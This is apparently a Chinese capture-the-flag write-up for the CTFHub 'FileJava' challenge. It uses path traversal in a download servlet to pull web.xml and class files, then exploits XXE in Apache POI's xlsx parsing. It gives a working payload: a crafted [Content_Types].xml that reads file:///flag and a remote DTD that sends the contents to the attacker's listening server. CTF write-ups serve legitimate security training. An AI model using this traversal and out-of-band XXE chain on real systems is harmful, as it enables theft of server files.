FileJava
1.打开题目,只有上传和下载的功能,可以上传任意文件和下载文件,但是不能访问,所以不能用一句话连接,在下载文件功能发现可以下载任意文件,于是将WEB-INF/web.xml页面下载下来,发现有上传和下载的配置文件,由2个类组成,将这2个类下载下来。
<?xml version="1.0" encoding="UTF-8"?>
-<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">
-<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
首页
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml
下载文件类文件
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
上传文件类文件
http://challenge-f6c012eb074739ac.sandbox.ctfhub.com:10080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
2.分析上传类和下载类
将文件下载下来后进行反编译,发现downloadservlet限制了flag 的下载,uploadservlet里面当文件头为excel-并且结尾为xlsx时会对该文件进行操作,可能存在XXE。
if (fileName != null && fileName.toLowerCase().contains ("flag")){
request.setAttribute ("message","禁止读取");
request.getRequestDispatcher("/message.jsp").forward((ServletRequest));
return;
}
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}
3.先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://服务器ip/1.dtd">
%remote;
%all;
]>
<root>&send;</root>
然后在自己的服务器上面新建一个1.dtd,内容为:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://服务器ip:监听端口/%file;'>">
接着监听自己的服务器的9999端口,然后上传文件。
上传成功后,端口就会收到flag。